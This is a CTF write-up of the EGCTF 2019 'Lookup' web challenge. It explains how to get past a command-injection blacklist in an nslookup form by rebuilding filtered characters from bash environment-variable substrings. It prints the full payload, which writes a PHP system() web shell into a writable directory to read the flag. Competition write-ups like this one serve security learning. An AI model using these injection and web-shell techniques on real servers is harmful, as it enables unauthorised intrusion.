EGCTF 2019 — ” Lookup” Qualification Round

Hello All

This was web challenge called Lookup from EGCTF 2009 Qualification round .

The challenge was nslookup and I managed to solve it with the help of my team mate Khaled Gaber .

Enumeration Phase

So we could nslookup for hosts

It comes to our mind that it will be command injection , so first I tried a lot of keywords to see which one are blacklist , and these blacklisted using manual test :

• (
• )
• &
• |
• `

so it could the most of things that we could use to get command injection

So I tried to search again for something else and found env_test.php

I didn’t know , what I could do with it for now

I got also the source code from index.php~

So obviously , that there was aggressive black list of any try of command injection .

Analysis Phase

Let’s analysis the code :

• The code takes your ip and make a directory in tmp/users_data/md5(ip) , and make this directory writable by any one .
• The code takes your input and make nslookup after filtering the blacklisted words.

So know it is clear that we could write your php in this directory , but there were problems regarding filtration , so we couldn’t write <? in the file or even reach our directory as / is filtered .

After a a while I could echo the names of files in directory l00kup using wildcard : *

but it has no output , so I thought the target is to read this php file .

These was all things that I have , then I tried to use bash variables like $PATH :

I thought bash is the clue , so I decided to take a look on the env_test.php again .

After thinking , I though that I could use this file to get the characters that is filtered as there was all the characters that I need to write simple php file to read flag.php .

So I search for bash cheat sheet and found this link : https://devhints.io/bash

and there was something interesting : Substrings

So I tried to get a character from env variables :${APACHE_LOCK_DIR:0:1} which should give me this forward slash / which is filtered

I was happy when I see / printed in the screen :

I tried to get dirs in the users_data using this : tmp${APACHE_LOCK_DIR:0:1}users_data${APACHE_LOCK_DIR:0:1}*

and got md5 of an ip , so I decided to write text file in this dir .

Exploitation Phase

So let’s use this test>tmp${APACHE_LOCK_DIR:0:1}users_data${APACHE_LOCK_DIR:0:1}8381541b78def7b221b2333181a5c9a9${APACHE_LOCK_DIR:0:1}os.txt

which will echo test > tmp/users_data/8381541b78def7b221b2333181a5c9a9 > os.txt

and I tried to verify this by opening the resulted file :

http://167.172.236.59/l00kup/tmp/users_data/8381541b78def7b221b2333181a5c9a9/os.txt

So the final part is to read flag.php , so we need to construct this :

echo <?php system(‘cat /var/www/html/l00kup/flag.php’)?> > tmp/user_data/8381541b78def7b221b2333181a5c9a9/oosama.php

So I could do so using this sub string

${APIKEY:0:1} : <
${Licenseid:18:1}: (
${Licenseid:19:1}: '
${Licenseid:35:1}: )
${APIKEY:25:1}: >
${APACHE_LOCK_DIR:0:1}: /

and the final payload was :

${APIKEY:0:1}?php+system${Licenseid:18:1}${Licenseid:19:1}cat+${APACHE_LOCK_DIR:0:1}var${APACHE_LOCK_DIR:0:1}www${APACHE_LOCK_DIR:0:1}html${APACHE_LOCK_DIR:0:1}l00kup${APACHE_LOCK_DIR:0:1}flag.php${Licenseid:19:1}${Licenseid:35:1}?${APIKEY:25:1}>tmp${APACHE_LOCK_DIR:0:1}users_data${APACHE_LOCK_DIR:0:1}8381541b78def7b221b2333181a5c9a9${APACHE_LOCK_DIR:0:1}oosama.php

and by opening :

view-source:http://167.172.236.59/l00kup/tmp/users_data/8381541b78def7b221b2333181a5c9a9/oosama.php

I got the flag :

Thanks for reading